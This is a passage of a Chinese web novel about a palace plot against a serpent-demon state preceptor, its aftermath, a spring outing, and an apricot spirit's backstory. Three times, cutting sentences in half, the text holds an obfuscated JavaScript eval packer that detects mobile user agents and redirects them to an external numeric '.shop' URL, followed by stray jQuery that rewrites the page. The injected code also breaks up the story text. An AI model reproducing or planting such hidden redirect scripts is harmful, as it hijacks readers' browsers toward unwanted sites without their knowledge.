“每天涂上一朵花瓣,等到满树花开,春天就来啦,到时候咱们就去隐亭湖踏春……”林千枋边说着,边把画挂在墙上最显眼的位置。林千平第一次见到这样过冬的方式,饶有兴致地挑了一瓣花,细细用红色的墨汁填满。
九九苦寒,盼春来啊。
祠堂里,长明灯和蜡烛都正烧着,供桌上码放着酒肉汤菜、干果点心等各式祭品。林家血脉单薄,林大人只有一个哥哥,来往并不密切,因此冬至日通常都是各自祭祖。林德允没有纳妾,林家实际上就住着他们四个主人。这会儿大半的佣人都回家了,剩下的多数都在厨房帮忙,现下祠堂里就只有他和徐芝年在忙碌。
林千平跨过祠堂高高的门槛,视线就不自觉被这许多牌位所吸引。这些牌子摆得整齐,从高到低排了三行,只是牌子明显分成两种样式:一种在造型上特意做了装饰,顶角处都有些弧度;另一些多数只是个直溜溜的木牌而已。林千平凑近仔细看了,才发现那排直直的牌子上写着的大都是徐姓名字。
徐芝年点完最后一盏灯,回过身就看到两个孩子挤在牌位前叽叽咕咕不知道在说什么。她上去抓过头发凌乱的女儿,两下拆开那卷敷衍的发团,拿出梳子一点点顺开发丝。林千平本来还在和林千枋讨论八卦,突然脖子一紧,就被抓着梳起头来。
母亲的手干燥、温暖、灵活,很快就梳好一个简单干净的发型,又用簪子牢牢固定,这才放开她,指挥着让所有人都回桌前站好。
林家的仪式简单,只献酒、敬香、磕头几个步骤。林千平举着香跪在蒲团上,心里和这些祖先有的没的说起话来。
刚开始全是些恭喜发财身体健康的吉利话,但等到插好香再跪下磕头时,脑子里平白地又多出一句来:
假若各位真的在天有灵,请务必保佑林家,一切顺利。
一家人同中秋时那样吃了丰盛的午饭,林大人少见地喝得有些微醺。他抓抓脑袋,又讲起那些星星:“你们知道彗星,对吧?嗯,我和你们讲过……彗星呢,一头长如把手,一头形如蒲叶,长得就像是个苕帚……我们称彗。”
桌上难得没人打岔,林千平放下筷子,静静地听着这遥远时空里,令人熟悉的名字。
“彗星呢,有圆的有扁的,叫什么长星、蓬星、孛星…不一而足。”
“自有记录以来,它们都是灾难即将来临的预兆……”林千平闻言,悄悄瞥了眼林千枋。
他今天喝的是茶水,这会儿正端着杯子,立直坐着低头紧盯桌面,不知道是在发呆还是在仔细听讲。
“……我不同意,我就和李常维说!彗星状似扫帚,那就是‘除移布新’之兆!是天有怜悯,要来拯救苍生啊!但是那个李……”林大人说得激动,站起身背着手急急在厅中走起来,接着就换着花样地酸了自己同僚一通。
桌上剩下的三人无言地相视一笑,举起杯子又碰了一回。林千枋喝干杯中茶水,走到窗边看了看日头,回来便恭敬地向家人们鞠躬行礼。林大人像个被掐住的磁带一样啪地停下嘴巴。往日家中第二能说的林千枋此时一言不发,只深深地看过每个人的脸,最终笑着表示自己还有其他聚会要参加,对维护关系来说非常重要,现下必须得去赴宴了。
徐芝年挥挥手让他去,只说:“少喝点,早点回。”
林千平眼也不眨地看着他打开门出去,只见他回身关门时面色平静,看不出什么情绪。
少了个人,就玩不了麻将了。林大人喝了酒,正靠在椅子上闭目养神。
林千平犹豫了好一会儿,才走到拿着杯子漱口的徐芝年身旁,犹犹豫豫地开口:“娘,我也……我也有事要出去。”
徐芝年拿起帕子擦擦嘴,深叹一口气,抬头看着站在身前的女儿。皮肤光洁红润,衣着干净平整,眼神不再恍惚茫然,偶尔还闪着点聪明的灵光。有缕头发散了下来,她伸长手帮她挽到耳后。
“注意安全,别着凉了。”她捏捏女儿的手,又往前推了推。“去吧,记得和你哥一起回来。”
像有什么东西堵在喉咙,林千平吞咽几次口水,却只憋出个难听的气音,慌忙转身离开了。
皇宫里的雪景是不一样的风味。红墙绿拱,金黄的琉璃瓦上落满白雪,又有腊梅在开,天地同一的雪色只映衬得所有色彩全都越发鲜艳。宫殿群肃穆的气势被大雪消解,只留下冬日里常有的忧郁氛围。
错落有序的建筑中,猛地就从地上拔起个形制极为突兀的宝塔来。此塔八角尖尖,檐上都盖着乌黑的瓦片,顶部只插着几根立柱,孤零零地露在寒风中。
大雪影响了施工,第八层的建设不得不暂时停止。国师一到冬天就像变了个人似的,不再执着于催促宝塔的建设,每天只把自己关在房里休息。食物依旧由几个专门的厨子亲自送去,刚开始份量特别大,且均以肉食为主。等雪逐渐下得大了,两三天才有人去一回,送的大多都是些汤水。
今天雪停,国师似乎有了精神,便让殿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228589|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外守着的宫人前去传信,指明要些清淡的饭菜来。王鸿德在拐角处拦住了那人,这是个年纪不大的小太监,面孔生得很,人也怯怯的。他只摆出个严厉的表情随便指使两句,就让这小太监照他所说的,前去御膳房传信说国师要的是过节的酒菜。
送餐来的还是那几个厨子,一共四人,三人拿着几层高的食盒,一人端着酒和杯碟碗筷。行至殿前,竟在门口遇见手里拿着壶酒的小皇帝。几人乒乒乓乓地放下东西想要行礼,被边上的王鸿德急忙拦住了。
螣禹正坐在桌边,捏着杯热茶在喝。滚烫的水滑入身体,还没暖上几秒,热气就从某处泄了出去,只觉越喝越冷,越喝越困。刚想叫人催催餐食,就见房门响动,好几个身影从屏风后转进来,手脚麻利地开始布菜。
姜汁鱼片、砂锅鹿筋、凉拌鸡丝、五香仔鸽……洋洋洒洒摆满一桌。螣禹看着花样繁多的菜式,疲累的脑袋让他连发脾气的心情都没有,只皱着眉挥手让所有人都出去。
房门关上的声音传来,却又有个脚步声不疾不徐地在靠近。螣禹惫懶地抬眼,来人是穿着深绛色袍子的小皇帝。
他面色惨白,经屋里的热气一熏,又泛上来些不正常的红,颇有几分阴森诡异之感。手里拿着的酒壶被轻轻放在桌上,人也在桌边坐下。
螣禹无甚精力继续扮演他温柔的养育者,没说话也没别的动作,自顾自吃起那盘鸡丝来。
闻韫看着他此刻因疲惫而显得有些孱弱的侧脸,主动开口道:“今天冬至,想与国师一同团圆,共庆佳节。”说着便拿下酒壶上的塞子,捡出两个琉璃酒杯缓缓倒满。
杏酒的芳香霎时间满溢在屋内,和着热气让人有种置身于春日暖阳下的恍惚感。螣禹意外地看了看这个小孩,只当他又和过去一样,忽然间就想要撒娇、恳求着有人陪伴而已。
他对这个弱小的人类皇帝倒没什么极端的厌恶感,也许是因为从他身上得到的阳气实在大补,又或许是这逆来顺受的性格让他生不出多少气来。最近头脑发昏的时候,甚至也想过当自己的计划都成功了,说不定可以把这小孩带在身边,当个宠物用来取乐也好。
皇帝的手很白,指头短短的,像五个小锥桶。捧着酒杯的时候动作生涩,还有些颤抖。螣禹饶有兴致地看着他向自己敬酒,嘴里还说些人类之间经常互相祝福的词句。
长命百岁?我早就百岁了……百岁了多少年呢?螣禹恍恍惚惚地想着,手里顺势接过递到眼前的杯子。他能喝一些酒,只是并不那么喜欢酒的味道。往日主持祭祀或是老皇帝宴请的时候,总会勉强自己大口吞下那些辛辣的酒水。
眼前这杯酒倒是泛着漂亮的蜜色光泽,闻起来也只有花的甜香味。他毫无所觉地浅尝了一口,觉得味道尚可,随即便整杯饮下。
这酒好似煮沸的蜂蜜,黏稠地挂在食道和胃里,倒让他浑身热了起来,额角上竟也隐约冒出点细密的汗珠。他抿着嘴品味一会儿,眼神迷离地看看杯子,拿过酒壶又满上了一杯。
闻韫看着他像是食髓知味般喝光整壶杏酒,手里不住地摩挲着自己的酒杯。良久,国师已经醉醺醺地躺倒在榻上,衣衫凌乱地仰面睡着,漂亮似鬼魅的脸上终于长出点有些人味的红晕来。
这位少年皇帝终是举起琉璃杯,喝下了人生中的最后一杯酒。
15. 古代
岑凌山是座神山,有鱼这么说。
它的祖宗就是从这山里鱼跃龙门,飞升上天,成了威风凛凛的龙神仙。
说着,鱼得意地摆起尾巴,红白相间的身体在水里扭得好似波浪。
蛇不明白神仙是什么。但鱼说,成龙威风,是妖精的终极目标。
螣禹睡得很舒服,受伤的身体总在冬日里发冷,冷得他受不了。躲进窝里也没用,让人烧热地龙也没用。他很久没有睡得这么深这么沉,精神终于得到安抚,灵魂也像是飘在空中一般舒适。
远远地有喧闹声,有人脚步极重地踏过砖石,有人嗓音极粗地在说话。忽地身上一重,体温从炙热逐渐降到有些偏凉。螣禹没有睁开眼,他还想回到梦里。只是手下的皮肤触感有些不同,跟着连呼吸也变得不对起来。
又深又重的喘气方式最终使他憋醒,螣禹睁开眼,房间里只点着昏暗的小灯,周围的摆设虽然华贵,但与皇宫的装潢比起来仍然稍逊一筹。他感觉脸上有些东西,拿手去摸,竟然抓到把粗糙的胡子。
还未做什么反应,一阵嘈杂的人声已然逼至房前。
雕花木门被个矮瘦的身影撞开,连人带门地滚到房间角落里。两个穿着盔甲的士兵打着火把跟在一个身着官服的年轻男人之后,气势汹汹地涌到床边。
只听那人居高临下地开口道:“丞相组织邪教残害民众,欲与国师共同谋反,今奉陛下之命,捉拿归案。”
螣禹这才明白,是自己留下的保命术法被触发了。他在丞相身上留下灵力印记,当本体受到毁灭性伤害时,魂魄就会自主离体,顺着记号寻来夺舍对方。
他被人粗暴地拽下床塌,双腿无力地踉跄着。大脑始终保持着不正常的混沌,令他许久才回过神来:什么法术都感应不到了,本体大约已经消亡……灵魂呢?仿佛终于抓到了重点,他在魂魄里急急巡视起来。许久,才在囚车里绝望地捂住脑袋。
明明没有实际的损伤,但却能感觉到魂魄正在慢慢破碎消失,好似有什么东西正带着他一起蒸发在空气中。意识终于无法再保持清明,眼前的画面颠倒翻滚起来。
黑暗中,他听到蛇发出嘶嘶声,在说:那我也要成龙。
林千平到了宫门便打发车夫快些回去,傍晚也不必来接她。
天阴阴的,头顶上只有灰白色的一片,看不出云,也看不到太阳。林千平担心下雪,步子迈得极快,如果不是路上仍有些积雪没扫干净结了冰,她几乎就要小跑起来。
等到了福寿宫,乱跳的心脏才逐渐放缓。院里和往日一样没看到什么人在外面呆着,西厢房少见地没传出念经声,整个院子静得不像话。偶有微风吹过,常绿的灌木发出极轻的树叶摩擦声,适才提醒来人,这里还有生命在活动。
刚刚平息的心跳再度变得激烈,林千平生怕自己来迟了,顾不上地滑,磕磕绊绊地跑进屋子。房间里烧着地龙,但并不太暖和,林千平关好门,转身就在榻上看到正趴伏在矮桌上的王清虞。
“清虞?王清虞?”她拍了拍人,又使劲抓着晃了晃,声音也大起来:“王清虞!王大力!醒醒!”
“叫谁大力呢!”王清虞忽地坐直身体,刚想回嘴,却看见来人面色发白神情严肃,立刻憋回了差点要骂出口的话。
林千平被自己吓得冷汗直流,这才发现刚刚甚至紧张得忘了要呼吸,现下说不出什么话,只顾着深深喘气了。
王清虞给倒上茶,又找来甜口的蜜饯塞她嘴里,睡得有些散开的发髻支出来几缕发丝,要落不落地挂在原处。林千平吃着嘴里甜了吧唧的果干,气终于喘匀,也有心思开起玩笑:“你现在好像我小姨啊。”
“你哪来的小姨?”现认的小姨没好气地说:“刚才还敢叫我大力呢?就这么冒犯你小姨?”林千平不回答,得逞地嘿嘿笑起来。
王大力是王清虞小时候自己取的名字,听说是因为原名太难写,小王同学写得不耐烦,一气之下取了个简单又好记的昵称,不考试的时候都爱让人这么称呼她。长大以后又觉得原名更好听,曾经试图扭转所有人的记忆,但奈何大力已经深入人心,现在成为了只有长辈能叫的小名。
打了这么一会儿岔,气氛已然活跃起来。两个人顺嘴又聊些以前的趣事,谁都没再提刚才面色惨白的林千平究竟是怎么了。
冬天天黑得早,尤其还是阴天。等到吃饭时,外面早已漆黑一片。房下的灯笼照着掉光叶子的枯枝,黑夜里看去像是一丛丛枯瘦的干手。
晚餐除了节日标准的饭菜外,还多了份咸口的圆子汤。汤水比较稠,里面是实心的糯米丸子,一勺里能舀满好几个的大小。配菜有虾米木耳和香菇,味道咸鲜,是闻朝冬至里传统的吃食。
都说冬至大如年,皇室按理说本应也要祭祖祭天,或者至少都应该聚在一起吃饭,断没有现在安静得像普通日子的道理。王清虞说是国师身体不适,去年冬天就如此了,过年也不见他出来主持仪式。林千平听她提到去年,很不是滋味地捏着筷子看着她。
“怎么了?”王清虞问。
“没有,只是想,我来得有点晚了……”不想把气氛弄得伤感,她又随口说到:“杏妖呢?今天怎么没出来烦你?”
王清虞也不继续追问,她了解林千平有些别扭的性格,就只回答她的问题:“他说,呃……要聚灵气,什么的……喔,是记忆恢复得差不多了,有事要办。”
话题忽地停在此处,两人都听到远处似是有许多人靠近的声响。
林千平手快地熄灭房间内的各处灯火,王清虞转去卧室麻利地将被子摆成有人休息的模样。本想一起移动到院子角落的空房间,但已经能看到有火光在靠近,二人只能匆忙躲在摆着花瓶和装饰的博古架后面。
院子里隐约传来杂乱的人声,听声音像是来了不少人。林千平霎时血气上涌,太阳穴和后脑勺涨得发疼。她实在害怕林千枋他们计划失败,最终因为自己而连累福寿宫,连累王清虞。
黑暗中交握的四只手越捏越紧,皮肤间渗出湿漉漉的汗水,谁都察觉不到疼痛,也感觉不到对方的体温。只有刻意控制的呼吸声还能勉强提醒彼此:你不是一个人在面对。
终于,门前传来脚步声,灯笼的光透过镂空照进房间。有人动作轻柔地推开房门,屋外的声音像风般吹进来。林千
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228590|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平不由自主地仔细去听,并没有什么惊叫或大声呵斥的动静,只有些凌乱的脚步声和偶尔有人交谈时发出的说话声。
房里的人很快转完卧室,应该已经发现了床上的伪装。王清虞微微发起抖,胸膛剧烈起伏,不自觉捏紧拳头。
又有人走进门,听上去似乎不止一个。
林千平这时突然发现哪里有些不对劲,她适才听到的交谈声里,似乎……都是女人的声音?
还不待细想,一盏灯笼就照到她们眼前。
来人穿着靴子,裤脚整齐地塞在靴筒里,上边是身黑色短打劲装,外面还套着轻便的皮甲。再往上看,是张轮廓流畅的鹅蛋脸,眼睛反射着点点火光,神色十分锐利。
林千平一口气没喘匀,又被这张脸吓了一跳,呛得大声咳嗽起来。身旁的王清虞站起身,面带惊讶地朝对方走去:“阿水!是你吗?”
来人正是林汶水。
她向王清虞点点头,又过去扶起还蹲着的林千平:“别怕,清平军已经包围后宫,现在需要集中保护各位。”说完便招来一位女兵,示意她们跟着离开。
这片区域里的主子和宫人们都被带到了较大的宫殿内,门口和院外都有不少配着刀枪的女兵把守。王清虞身份高些,被分到把椅子坐。林千平就在她脚边随地坐下,百无聊赖地盯着乱哄哄的人群发呆。这里的人大多数都还不明白究竟发生了什么,有些性格悲观的已经哭上了,整个殿内就像菜场般吵杂。
他们这算成功了吗?林千平想。
国师的住所离皇帝寝宫不远,蒋易远在半路上单派了一队人手过去,自己则带着大队包围了国师的宫殿。
大殿周围没有人,也没有点灯。等到走近,众人才发现殿前的台阶上坐着个黑影。
蒋易远谨慎地带着几人缓慢靠近,灯笼刚刚打亮周围,就听见一道有些艰涩的声音:“他已经死了。”
闻韫坐在冰凉的石阶上,身下的薄冰化开,打湿了一半衣角。他手里还拿着那个琉璃杯,面无表情地看着这支全副武装的队伍。
一个戴着面罩的铁甲兵摘下头盔,露出张和他有些相似的脸。
皇帝看着那张脸,什么话也没说。
阴了一整日的天,终于飘下雪来。不算大,也无风。雪粒偶尔在空中打个转,忽忽悠悠地随便落到各处。
林千平和王清虞坐在屋檐下,短暂逃开了吵闹的人群。外面的温度有些低,但不算难以忍受。倒是从闷热污浊的空气中出来,呼吸到的凉气让肺都清新不少。王清虞在衣袋里掏了一会儿,摸出个绣着草叶子的香囊来。林千平拿在手里端详半天,没看出到底是什么植物的叶子,香囊里装着她拿给王清虞的干桂花,凑近些还能闻到淡淡的香味。
“你这绣工一般啊。”
王清虞翻个白眼:“有就不错了,别挑。”她从前也爱做些手工,做完了就到处送人。只是刺绣倒头一回做。
“任务算完成了吗?”她问林千平。
“不知道。”
“能回家吗?怎么回啊?眼睛一闭一睁还是星际穿越?啧,你别笑啊……”
雪下了整夜。
16. 古代
国师死了,除了被遣散回家的力工和散落在茶馆里零碎的说书剧情,绝大多数百姓都没什么实际的感受。
就算是皇帝换了,明天也一样要干活,要吃饭,要交税。最好新来的皇帝少收点粮食和银子,明年好攒钱打一床新被子,或是过年能多吃上几块肉。
闻奕没有做皇帝。他志不在此,性格也与帝王霸气相差十万八千里。当初还是皇子的时候,他就被那些明争暗斗吓得逃离都城,现在要想让他当皇帝,简直比登天还难。他本就是来当个吉祥物,做这些人头上的那面虎皮大旗而已。现下只勉强做了个王爷,准备和其他人共同辅佐闻韫到他能够独当一面的时候。
蒋易远从龙有功,升格为震远大将军,任劳任怨地指挥起各地捣毁大蛇教集会点的工作来。林汶水带着清平娘子军在他部下行事,解救了许多深受邪教迫害的妇女儿童们。
林千枋回了太史司,每天还和林大人一块儿上班吵架,下班斗嘴。蒋易阳当上了刑部侍郎,他野心大,眼光也高,亲国师的官员都被撤换,皇帝问他想坐什么位置,他也毫不犹豫说了。刑部主管司法,负责重案复核与律法修订。他想从根本上解决一些实际问题,这的确算是个不错的选择。
丞相死在了大狱中,就在被抓的隔天清晨。仵作验尸并未发现异常,只推断或许是心力交瘁,活活吓死的。丞相府里抄出不少与大蛇教各处分部的来信,其中一些还是以外文书写的。时间跨度长达三年多的信件拼凑出一个勾结外族,企图毁灭闻朝的惊天阴谋。
大蛇教的教义中写到:闻国即将要被外族吞噬,法力无边的国师建塔以庇护教徒免受伤害,但进塔必要付出代价,须得交钱、交粮,或是交人。
争先恐后付出所有家当只为换取生存机会的教徒们怎么也不会想到,要毁灭他们的,正是那伟大又慈爱的国师大人。
九层宝塔,聚气聚灵。气是龙气,灵是生灵。
塔一旦建成,国师就能通过塔内的星座阵法吸干闻国的气运,将自己催化成龙。为了树立威严,得到权势与资源建塔,国师早已和周边的外族达成交易:一旦宝塔建成,闻国各地都会因为国运衰退而陷入天灾,国民必将死伤惨重,届时他们就可趁虚而入,瓜分这个庞然大物。
所谓需要阻止百姓陷入的战争,大约就是这样。
丞相已死,这个位置就暂时空缺了出来。坊间闲话时也有人讨论:“都城四小生”里,皇子太窝囊、林生太温柔、蒋二呢又过于莽撞了。只有魏家独子沉稳而不失狡诈、狠戾中又透出些平和,是个能当清白大官的材料。只可惜年纪偏小,真要坐上那么高的位子,恐怕是难以服众。
魏汀懒得理那些风言风语。
不是没有人提出要举荐他当高官,小皇帝看起来也是默许的态度,但都被他笑眯眯地打着太极给推回去了。他现在是新分出来的农林司司长,正在广纳农业人才,希望在开春前能组织起人手,一同研究新型的高产作物。在全国奔波打击邪教的时候,见过太多底层民众的悲苦,他没有蒋易阳那样猛烈的冲劲,但也想做些实际的努力。
闻奕非常赞同他的理念,离开都城的那段日子里他当过一段时间的农民,对于种植方面的难题也算有几分了解。如果不是另外两个人非压着他当王爷,每天还得处理朝政指导皇帝,他早就跑去给魏汀打下手,一块儿种地去了。
王清虞仍旧住在皇宫,但现在独享了一整个院子。皇帝下令让宫中各人想回家的都可即刻归家,有其他去处的也可选择离开皇宫。西厢房里的那位太妃听到消息立刻收拾了行李直奔尼姑庵,从此快乐地投身于侍奉佛祖的事业当中。王清虞的本家已经没有她的位置了,她是最小的孩子,父母都已去世,再回去无论是物理还是情感意义上都算是寄人篱下。倒不如呆在宫中,靠着和皇帝的交情蹭吃蹭喝,偶尔还能出宫潇洒。
再说,应该也住不久了吧?
林千平的任务框在冬至当晚弹出来过一次。
她当时正缩在宫殿角落打瞌睡,半梦半醒间看到这个弹窗口跳出来,习惯性地就伸手去点关闭。挥了两下空气才清醒过来,一巴掌打在王清虞的大-腿上,头晕脑胀地喊她快起来看。
两个人悄默声地对了对,结果发现王清虞的任务毫无变化,只有她自己的倒计时暂停了。二人又激动又害怕,林千平干脆就在宫里住下,忐忑地期待着能和王清虞一起回家。
等了三天,什么也没发生。直到林千枋来抓人,两个好朋友只能暂时含泪分别,约好要是回去了就在大学城的四川火锅店碰头。
国师与丞相意图谋反,残害百姓,皇帝被欺瞒操控,深受其害。所幸蒋易远众人破除阴谋,救驾及时。
对外的说辞如此,记在史书上的内容亦是如此。没有多少人知道,国师的身体在清晨化作一条通体漆黑的大蛇,吓疯了好几个太监。同样,也没有人去在意他究竟是怎么死的。
闻韫在殿前的台阶上等待,从黄昏等到夜晚,等来了死亡的皇兄。
他和这位皇兄并无多少交集——倒不如说他太小了,还来不及和他们有什么交集。他本以为皇兄成了地府的使者,要来带他离开。却没想到过了十几个日夜,他还留在人间。
喝下杏酒的时候,他曾真心地想要离开,就像现在一样,他打从心底里感谢上天,他还活着。
所有人终于看到了他,见证着那个勇敢的孩子,逃离黑暗。
每天醒来,林千平都要闭着眼先听听周围的声音。她毕业以后住在房租便宜的城中村里,隔壁邻居是一家四口,每天清晨都要像打仗一样洗漱做饭,催着两个孩子上学。小孩起床的时间远早于林千平,工作日基本睡不到闹钟响起就会被吵醒。
过去嫌弃烦人,现在却只觉得那噪音真是市井人间的天籁之声。
可惜,从下雪听到雪化,再到树叶默默抽条的三月,她都没能等到。过去几个月里,林千平每天必到福寿宫报道,生怕王清虞一个人呆着会害怕。去的时候偶尔能碰见她在给杏树浇水,两个人就也会讨论讨论杏妖到底去哪儿了。
“不会是跟国师同归于尽了吧?”林千平看看这棵正冒着小嫩芽的杏树,合理推测道:“也不对啊,本体还活着呢?”
王清虞嘴快,跟着补上句:“不会又受伤失忆了吧?就它这个智商再失该成纯傻子了。”话音刚落,蹲在地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228591|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上逗猫的林千平就被个东西砸了脑袋。捡起来一看,是枚弹丸大小的青杏子。
“不是,砸我-干嘛啊?憋了几个月就憋出个羊屎蛋来,有这力气多长长脑子不好吗?”林千平呼地一声站起来就骂,王清虞在旁边笑得直不起腰,终是都放下心来。
三月中旬,万物复苏,草长莺飞,正是踏春的好日子。
几位大忙人于是错了错时间,带着小皇帝集体出逃隐亭湖。蒋易阳拉着林千枋一齐挤在皇帝的车里,美名其曰微服出访总有危险,为臣为兄都应该保护好皇上;正牌皇兄闻奕倒是乐得清闲,自己骑着马就跑在最前头;林千平接了王清虞,两人一同乘车赶来;魏汀正好在附近的农田考察,蹭了老乡的牛车慢悠悠地落在最后。
隐亭湖的春日是嫩绿的、纷飞的。偶有几株桃花藏在丛丛绿意背后,躲躲藏藏地冒出头来,就要引你走近了去寻它。天气不算太暖和,湖面上还飘着些云雾。众人商量了一下,决定只在湖边的草地上铺设席位,等以后天热些再乘画舫游玩。
湖边的店家都是些人精,平时来这的王公贵族们个个都认得一清二楚。这回见“都城四小生”不光带来两位女子,还多了个穿着精致的小孩儿,闭着眼睛都猜到了那是谁。一个个恨不得使出浑身解数来炒菜——以后可就能向外宣传这是皇上也尝过的菜了!
腐乳蕨菜、荠菜芋头汤、春笋炒肉片…甜点是绿油油的豆沙青团,满桌青翠的颜色,是人们企图留住春天的表现。
闻韫吃得克制又讲究,笋和肉片一定排好了再进嘴,不爱吃的蕨菜使劲嚼嚼也能咽下。但等轮到青团上桌,什么礼数都消失了,用手捧着吃了两个,意犹未尽地还想拿第三个的时候被王清虞给拦了下来:“哎,糯米做的东西小孩儿吃多了不消化,多吃点菜啊…”说着又夹了几筷子清炒时蔬放进他碗里。
旁边的闻奕正以春为题作诗吟诵,没多少人注意到这边的动静。林千平看见小皇帝有些失落地收回手,拿起筷子吃菜的时候却又偷偷弯起了嘴角。
她喝下一杯没什么苦涩味道的甜酒,享受着充满生命力的风拂过身体的每个角落。
饭毕,一行人有的垂钓、有的散步。林千平拉着王清虞坐在棵常青树下,手里玩着旁边刚长出来的草叶。王清虞见她好好戴着自己送的香囊,满意地伸出手摘掉上面蹭着的草屑:“本来以为那天就能回去了,所以才提前送你这个生日礼物。要是绣到这会儿,肯定更好看。”
林千平也看了看那个瞧不出是什么叶子的花样,回她:“这样就很好看了,多精致。再说,咱也带不走啊……”
提及此,两人又沉默下来。
有大风吹过,树影间阳光闪烁。蒋易阳钓上只手掌长的小鱼,得意地在一鱼未上的林千枋面前炫耀。
“看他们这样,是不是其实没有我们也能行呢?”
“谁知道啊……”
春天的阳光很暖,柔柔地像轻纱般罩在头上身上。光线也逐渐开始变得强烈起来,尤其是像今天这样仅有几朵小云的晴朗天气。
林千平只觉有些刺眼,白光像只温暖的手,遮住了她所有视线。
好春光啊。
17. 杏妖番外
岑凌山是座神山,有人这么说。
山中风景秀丽,草木丰茂,治病救人的药材遍布满山,就连随处可见的杂草都比其他地方长着的要壮上几分。
周围的居民们常在山中偶遇奇事,有在迷路时遇见动物引路的;有在大雾封山时转了好久还在山口的;更有甚者,重病时被家人抬上山祈福,隔天就能意识清醒地自己走下山的。一来二去,岑凌山就在更远的城镇里都出了名,不少人都慕名前来沾沾灵气、拜拜神山。
有个从大地方来的书生,大家不知道他的具体姓名,只是叫他楚秀才。楚秀才喜欢在山背面的一块缓坡上弹琴,有时还会唱歌。他住在山脚下的傍灵村,几乎日日进山抚琴,一呆就是几十年。
缓坡上有块小小的开阔空地,足以让秀才和他的琴能沐浴在阳光之下。空地长满杂草,丛丛包围着一棵不高的杏树。杏树像是刚刚长成没多久,总是精神抖擞地散开枝叶为秀才遮挡有时过分炎热的太阳。
楚秀才虽然知道岑凌山十分神奇,但他从来没有遇到过不寻常的事。刚上山时也会在心中设想每株植物都是精灵,经常毕恭毕敬地向大树问好。时间久了,他就明白这也许真的只是座土壤肥沃、物产丰富的普通大山而已,没有什么好稀奇的。于是便放开手脚弹琴,偶尔还会纵声歌唱。
由此,杏才听见了他的琴声。
杏说不上来是什么时候睡醒的,好像忽然哪个瞬间就能听到声音。有动物在叫、有风在吹,它的叶子簌簌地响……过不了一会儿,不知是什么动物叫起来,音色清晰明亮,像流水,又像干燥的落叶被踩碎。这个动物的声音有时清脆,有时浑厚,有时则显得慢悠悠的。杏觉得新奇又好听,每每响起那些声音,总会集中精神,细细聆听。
很多次花开、很多次叶落,杏觉得自己愈发清醒,能听见的声音越来越多,越来越远。可那独特的叫声却听得越来越少、越来越小。
它还记得初听时的那段有规律的声音,一遍又一遍地在心里回想,使劲地晃动身体,想用树叶演奏出来。终于有一天,它正在努力控制枝条,企图让它们相互摩擦,制造些动静。突然身上一轻,整棵树从地里破土而出,两根树枝变得光滑细腻,狠狠拍在一起,发出清脆的声响。
杏发现有些新的感觉出现了,它看得到、听得见、摸得着,它的身体变成某种动物,浑身光裸,两足站立,只在树冠上长着些倒垂下来的长毛。
它兴奋地四处张望,想要找到那个叫声特别的生物,却只在不远处看见一块破烂的长木头,上面长着几根细细的枝条。
有树枝被路过的猴子扯落,砸在那木头上,发出些熟悉的声音来。
它约莫是老死了,杏和自己说。
傍灵村收留了一个脑子不太好的漂亮小子,村里的山民们都淳朴心善,经常拿些食物接济他。这山里别的没有,吃的管够,多张嘴也不是什么难事。何况这个年轻人虽然听不太懂人话,但是知道跟着上山干活、下山帮忙,看着细瘦,力气却不小。
杏的学习能力很强,慢慢弄清楚这些光溜溜的猴子大概叫做“人”。它很快学会了说话,也学会了采蘑菇、摇板栗、挖野菜。可以灵活地在山里移动,还能给自己抓痒,杏觉得能变成人的确是件好事。
懂的事情越多,它就越清楚自己的与众不同。人衰老得很快,死得也很快,五感也不及它灵敏,这才让杏听到了别人议论它相貌不老时的那些窃窃私语。
村里的猎户救了个外来招生的教书匠,杏整了整小屋子里的干草药,换来一个离开村庄的机会。
杏在学堂里和那些还没它腰高的小孩一起读书,念到送走他们赶考,又和让自己借住的老师告了别。这位先生已经两鬓斑白,受过伤的腿也总在雨天发疼,他的孩子经常赶车来劝他去城里团聚。
老师给杏取了名字,就叫长生。
长生在某个晴朗的日子拜别老师,只在装满行李的牛车上塞进一袋长着绒毛的青杏子。
他没有走远,跑到了附近的山上住下,每天都会到城里的居民区看看,直到那位胡须雪白的老人永远地合上双眼。
老师的确是老死了,长生和自己说。
长生喜欢看书,喜欢听曲。书中自有黄金屋、颜如玉,长生想,我不需要黄金和宝玉,但我还是喜欢读书。
他于是白天把自己扎在土里修炼,晚上趁着夜色赶路。每到一个新地方,就变卖收集来的草药山货,去书斋看书、去戏馆听曲。
他已经明白当树的时候听到的应当是琴声、歌声和说话声,那个人的声音他记不清了,只有那段清脆跳跃的旋律还在脑中游荡。他想唱出来,张开嘴却不知从何开始;他想弹出来,手指却像木头般僵硬得无法动弹。
